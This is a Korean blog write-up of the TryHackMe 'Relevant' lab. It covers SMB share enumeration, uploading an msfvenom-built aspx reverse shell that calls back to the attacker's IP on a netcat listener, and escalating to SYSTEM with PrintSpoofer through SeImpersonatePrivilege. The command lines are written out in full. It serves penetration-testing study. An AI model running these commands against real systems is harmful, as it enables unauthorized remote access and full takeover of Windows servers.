본문 바로가기

InfoSec Log/PenTesting

[PenTesting] Relevant Writeup @TryHackMe

Target: Relevant@TryHackMe

 

Core Techniques: Port Scanning (via Nmap), SMB Shares Enumeration (via SMBClient), Directory Enumeration (via Gubuster), Reverse Connection via IIS, Windows PrivEsc via SeImpersonatePrivilege

 

Target IP: 10.10.10.47

 

 

Reconnaissance

 

먼저 Nmap을 통해 -T4 옵션과 -p- 옵션을 추가하여 빠르게 대상 시스템의 전체 포트를 스캔하여 열린 포트를 확인한다. 그 결과, 현재 대상 시스템에는 80, 135, 139, 445, 3389, 49663, 49667, 49669번 포트가 열려 있는 것을 아래 그림을 통해 확인할 수 있다.



그후, 열린 포트를 대상으로 다시 Nmap을 통해 정밀 스캔을 진행한다. 그 결과, 현재 80번 포트 뿐만이 아닌, 49663번 포트 또한 웹서버가 구동 중인 것을 아래 그림을 통해 확인할 수 있다.

nmap -T4 -Pn -sC -sV -oA relevant -p 80,135,139,445,3389,49663,49667,49669 <$IP>

 

 

브라우저를 통해 대상 시스템의 49663번 포트에 접근해보면, 아래 그림에서 보듯, IIS Windows Server의 기본 페이지가 나오는 것을 확인할 수 있다.

 

 

위 Nmap 포트 스캔에서 확인하였듯이, 현재 대상 시스템에는 SMB 프로토콜을 사용하는 445번 포트 또한 열려있으므로, SMBClient를 이용하여, 대상 시스템에서 공유 중인 리소스를 확인해본다. 그 결과, 아래 그림에서 보듯 nt4wrksv라는 공유 폴더가 존재하는 것을 확인할 수 있다.



해당 공유 폴더에 비밀번호 없이 접근이 가능한지 확인해본다. 그 결과, 비밀번호 없이 해당 공유 폴더에 접근이 가능하고, 해당 폴더에는 특정 계정의 비밀번호 파일로 의심이 되는 passwords.txt 파일이 존재하는 것을 아래 그림을 통해 확인할 수 있다.



해당 파일을 공격자 PC에 다운로드 한 후, 해당 파일을 읽어보면, base64로 인코딩 된 것을 확인할 수 있고, 이를 아래 그림에서 보듯 디코딩 해보면, Bob이라는 사용자와 Bill이라는 사용자의 평문 비밀번호를 확인할 수 있는 것을 볼 수 있다. 하지만 이는 본 침투테스트에서 유용한 정보가 아닌, 일종의 허니팟으로, 공격자를 교란하기 위해 심어둔 덫이다.



대상 시스템에서 80번 포트 뿐만이 아닌, 웹서버가 구동 중인 49663번 포트에 대해, Gobuster를 통해 Directory Enumeration을 진행보면, 아래 그림에서 보듯, SMB Shares에서 확인한 것도 동일한 디렉토리를 발견할 수 있다.

 

따라서 SMB Shares 또한 IIS라는 웹서버 디렉토리 내 하위 디렉토리로 존재하는 것을 유추할 수 있고, 브라우저를 통해, SMB Shares에서 확인한 passwords.txt 파일에 접근이 가능한지 확인해보면, 아래 그림에서 보듯 접근이 가능하다. 

 

현재 해당 SMB Share에서 공격자에게 읽기 권한이 존재하는 것을 확인하였지만, 쓰기 권한이 존재하는지는 확인해보지 않았다. 따라서 아래와 같이, test.txt 파일을 생성하여, 해당 SMB Share에 업로드 해보도록 한다.

 

put test.txt 명령어를 입력하여 테스트 파일 업로드를 시도하면 아래 그림에서 보듯, 업로드가 성공하고 따라서 현재 해당 SMB Share에 쓰기 권한이 존재하는 것을 확인할 수 있다.

 

브라우저를 통해 해당 테스트 파일에 접근해보아도, 접근이 가능한 것을 아래 그림을 통해 확인할 수 있다.



 

 

 

Exploit

 

위 과정을 통해 확인하였듯이, SMB SharesIIS라는 웹서버의 루트 디렉토리 내 하위 디렉토리로 존재함으로, IIS에서 파싱 및 해석이 가능한 .aspx 파일을 통해 Reverse Shell을 제작하여 대상 시스템과 Reverse Connection을 만들어 낼 수 있다.

 

따라서, 먼저 msfvenom을 이용하여, aspx 파일 확장자를 가진 Reverse Shell 파일을 제작한다.

msfvenom -p windows/x64/shell_reverse_tcp lhost=10.4.97.210 lport=5555 -f aspx -o rev.aspx

 

제작한 리버스 쉘 파일을 쓰기 권한이 존재하는 nt4wrksv라는 SMB Share에 업로드하도록 한다.

 

nc -lvnp 5555

 

Reverse Shell 파일을 실행하기 전, 공격자 측에서 역방향 연결을 위해, Netcat을 통해 Listening 상태로 대기한다.

 

그 후, curl을 이용하여 해당 SMB Share에 업로드 되어 있는 Reverse Shell 파일을 실행하도록 한다.

curl http://relevant.thm:49663/nt4wrksv/rev.aspx



그러면 아래 그림에서 보듯, 대상 서버 Initial Access에 성공한 것을 확인할 수 있다.

 

 

 

 

Privilege Escalation

 

초기 침투 후, 권한 상승을 위해, whoami /priv 명령어를 입력하여 현재 사용자의 권한 목록을 확인해본다. 그 결과, SeImpersonatePrivilege 권한이 활성화되어 있는 것을 확인할 수 있다. 

 

SeImpersonatePrivilege 권한이 활성화되어 있는 경우, 이는 특정 프로세스가 다른 사용자의 보안 토큰을 가장하여 해당 계정의 권한을 사용할 수 있다.

 

따라서 만약 해당 권한이 활성화 되어 있을 경우, PrintSpoofer 테크닉을 이용하여 권한 상승을 할 수 있다. 해당 테크닉을 사용하기 위해 필요한 파일은 아래 Github에서 다운로드 할 수 있다,

 

https://github.com/itm4n/PrintSpoofer/releases/tag/v1.0

 

Release PrintSpoofer · itm4n/PrintSpoofer

Compiled binaries

github.com

 

 

PrintSpoofer 테크닉은 먼저 프로세스 간 통신을 위해 사용되는 Named Pipe를 공격자 자신의 프로세스에 생성한 후, 이를 System 권한으로 실행되고 있는 프린트 관련 서비스인 Print Spooler 서비스와 통신을 시도하고, 이때 공격자 자신의 프로세스인 클라이언트 프로세스가 SpoolerSystem 권한을 가진 보안 토큰을 가장하도록 하고(SeImpersonatePrivilege가 활성화 되어 있음으로), 공격자는 System 권한으로 가장된 상태에서 -c 옵션을 통해 명령어를 실행하되, 이때 명령어를 powershell.exe와 같은 명령어를 실행하여 powershellSystem 권한으로 열리도록 만들어, System 권한을 가진 쉘을 획득하도록 하는 기법이다.

 

이에 관한 자세한 설명은 SeImpersonatePrivilege 권한이 활성화 되어 있을 경우, 이를 권한 상승에 악용하는 Print Spoofer 도구를 만든 본 저자의 아래 글에서 확인 가능하다.

 

https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/

 

PrintSpoofer - Abusing Impersonation Privileges on Windows 10 and Server 2019

Over the last few years, tools such as RottenPotato, RottenPotatoNG or Juicy Potato have made the exploitation of impersonation privileges on Windows very popular among the offensive security community. Though, recent changes to the operating system have i

itm4n.github.io

 

 

Github에서 PrintSpoofer를 다운로드 받은 후, 대상 시스템의 SMB Share에 업로드하도록 한다.

 

업로드 후, IIS 웹루트 디렉토리인 C:\inetpub\wwwroot 내에 존재하는 SMB Share 디렉토리인 nt4wrksv에 해당 파일이 존재하는지 확인해본다.

 

업로드한 PrintSpoofer64.exe 파일 실행 시, -i 옵션(Interactive Session 시작)과 -c 옵션을 추가하고, -c 옵션에는 System 권한으로 실행할 명령어를 입력하는 옵션이므로, powershell.exe를 지정하여, System 권한을 가진 Powershell을 실행하도록 한다. 

 

이를 실행하는 전체 명령어는 아래와 같고, 해당 명령어를 실행하면 아래 그림에서 보듯 성공적으로 공격자가 System 권한을 획득한 것을 확인할 수 있다.

PrintSpoofer64.exe -i -c powershell.exe